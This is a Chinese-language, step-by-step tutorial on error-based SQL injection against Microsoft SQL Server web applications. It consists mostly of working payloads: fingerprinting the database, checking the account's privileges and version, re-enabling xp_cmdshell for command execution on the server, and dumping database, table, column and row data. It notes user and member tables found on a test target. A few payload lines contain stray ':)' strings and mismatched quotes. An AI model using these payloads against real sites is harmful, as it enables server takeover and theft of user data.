第一步:判斷是否為MSSQL數據庫
報錯信息中有[microsoft][ODBC sql server Driver][SQL Server] 就可判斷為MSSQL
MSSQL通常和asp腳本搭配(判斷權限很重要) PHP和jsp很少見
或者:
and exists (select count(*) from sysobjects)-- and exists (select * from sysobjects)--
第二步:判斷權限(對於有錯誤回顯的目標)
MSSQL注入點:三種權限 SA、DB_OENER、PUBLIC
SA(SystemAdmin)直接執行命令
DB_OENER找到web路徑,然后用備份的方法獲得webshell,有時也可以對注冊表進行操作
PUBLIC需要爆表名和列名
判斷:
and 1=(select IS_SRVROLEMEMBER('public') )-- and 1=(select IS_SRVROLEMEMBER('sysadmin') )-- and 1=(select IS_SRVROLEMEMBER('db_owner') )--
哪種返回正確就是那種權限
第三步:判斷數據庫版本和操作系統
?id=5' and 1=convert(int,@@version)--
and 1=@@version--這個語句要在有回顯的模式下才可以哦
and substring((select @@version),22,4)='2008'--適用於無回顯模式,后面的2008就是數據庫版本,返回正常就是2008的復制代碼第一條語句執行效果圖(類似):第二條語句執行效果圖:(如果是2008的話就返回正常)
第四步:SA返回正常判斷其他相關信息
判斷是否支持多語句執行:
?id=5' declare @d int--
判斷sa權限下是否可以執行xp_cmdshell
?id=5' and 1=(select count(*) from master.dbo.sysobjects where xtype ='x' and name = 'xp_cmdshell')--
如果返回錯誤,可能是xp_cmdshell被刪除,我們可以用以下語句恢復:
?id=5';exec master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'--
返回結果正常就是恢復成功。否則需上傳xp:)log70.dll后執行:
?id=5':exec ma:)ster.dbo.sp_addextende:)dproc 'xp_cmdshell',’c:\inetp:)ut\web\xplog70.dll’;--
xplog70.dll傳到哪里就寫哪里。
第五步:獲取所有數據庫個數:
1. and 1=(select quotename(count(name)) from master..sysdatabases)-- 2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) -- 3. and 1=(select str(coun,and 1=(select quotename(count(name)) from master..sysdatabases where dbid>5)-- and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) -- and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) -- 說明:dbid從1-4的數據庫一般為系統數據庫. 三條都可
(下面語句是一次性獲取全部數據庫的,且語句只適合>=2005,兩條語句可供選擇使用)
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--
獲取當前數據庫
and db_name()>0
and 1=(select db_name())--
第六步:獲取當前數據庫的表:
(有2個語句可供選擇使用)【下列語句可一次爆數據庫所有表(只限於mssql2005及以上版本)】 and 1=(select quotename(name) from 數據庫名..sysobjects where xtype='U' FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from 數據庫名..sysobjects where xtype='U' FOR XML PATH(''))--復制代碼測試效果圖:得到 3個敏感的表:Whir_Sec_Users/Whir_Mem_Member/Whir_Mem_MemberGroup
第七步:獲得表里的列
(只限於mssql2005及以上版本): and 1=(select quotename(name) from 數據庫名..syscolumns where id =(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from 數據庫名..syscolumns where id =(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))--
第八步:獲取字段信息
and 1=(select top 1 * from 指定數據庫..指定表名 where排除條件 FOR XML PATH(''))-- 一次性爆N條所有字段的數據(只限於mssql2005及以上版本): and 1=(select top N * from 指定數據庫..指定表名 FOR XML PATH(''))--復制代碼第一條語句:and 1=(select top 1 * from 指定數據庫..指定表名 FOR XML PATH(''))--測試效果圖:----------------------------------加上where條件篩選結果出來會更加好,如:where and name like '%user%' 就會篩選出含有user關鍵詞的出來。用在篩選表段時很不錯。
